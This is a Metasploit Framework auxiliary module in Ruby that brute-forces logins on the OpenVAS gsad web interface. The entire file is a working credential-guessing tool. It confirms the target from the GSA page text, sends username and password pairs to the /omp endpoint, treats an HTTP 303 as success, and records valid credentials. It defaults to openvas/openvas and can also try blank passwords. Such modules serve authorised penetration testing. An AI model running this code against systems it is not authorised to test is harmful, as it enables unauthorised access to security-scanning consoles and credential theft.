##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Report
	include Msf::Auxiliary::AuthBrute

	include Msf::Auxiliary::Scanner

	def initialize
		super(
			'Name'        => 'OpenVAS gsad Web interface Login Utility',
			'Description' => %q{
				This module simply attempts to login to a OpenVAS gsad interface
				using a specific user/pass.
			},
			'Author'      => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
			'License'     => MSF_LICENSE
		)

		register_options(
			[
				Opt::RPORT(443),
				OptString.new('URI', [true, "URI for OpenVAS omp login. Default is /omp", "/omp"]),
				OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]),
				OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true])
			], self.class)

		register_advanced_options(
		[
			OptString.new('OMP_text', [true, "value for OpenVAS omp text login hidden field", "/omp?cmd=get_tasks&amp;overrides=1"]),
			OptString.new('OMP_cmd', [true, "value for OpenVAS omp cmd login hidden field", "login"])
		], self.class)
	end

	def run_host(ip)
		begin
			res = send_request_cgi({
				'uri'     => datastore['URI'],
				'method'  => 'GET'
				}, 25)
			http_fingerprint({ :response => res })
		rescue ::Rex::ConnectionError => e
			vprint_error("#{msg} #{datastore['URI']} - #{e}")
			return
		end

		if not res
			vprint_error("#{msg} #{datastore['URI']} - No response")
			return
		end
		if res.code != 200
			vprint_error("#{msg} - Expected 200 HTTP code - not gsad?")
			return
		end
		if res.body !~ /Greenbone Security Assistant \(GSA\)/
			vprint_error("#{msg} - Expected GSA keyword on page - not gsad?")
			return
		end

		each_user_pass do |user, pass|
			do_login(user, pass)
		end
	end

	def do_login(user='openvas', pass='openvas')
		vprint_status("#{msg} - Trying username:'#{user}' with password:'#{pass}'")
		headers = {}
		begin
			res = send_request_cgi({
				'encode'   => true,
				'uri'      => datastore['URI'],
				'method'   => 'POST',
				'headers'  => headers,
				'vars_post' => {
					'cmd' => datastore['OMP_cmd'],
					'text' => datastore['OMP_text'],
					'login' => user,
					'password' => pass
				}
			}, 25)

		rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
			print_error("#{msg} HTTP Connection Failed, Aborting")
			return :abort
		end

		if not res
			print_error("#{msg} HTTP Connection Error - res, Aborting")
			return :abort
		end

		# vprint_status("#{msg} GOT BODY. '#{user}' : '#{pass}' - #{res.code} #{res.body}")

		if res.code == 303
			print_good("#{msg} SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")

			report_hash = {
				:host   => datastore['RHOST'],
				:port   => datastore['RPORT'],
				:sname  => 'openvas-gsa',
				:user   => user,
				:pass   => pass,
				:active => true,
				:type => 'password'}

			report_auth_info(report_hash)
			return :next_user
		end
		vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'")
		return :skip_pass
	end

	def msg
		"#{vhost}:#{rport} OpenVAS gsad -"
	end
end
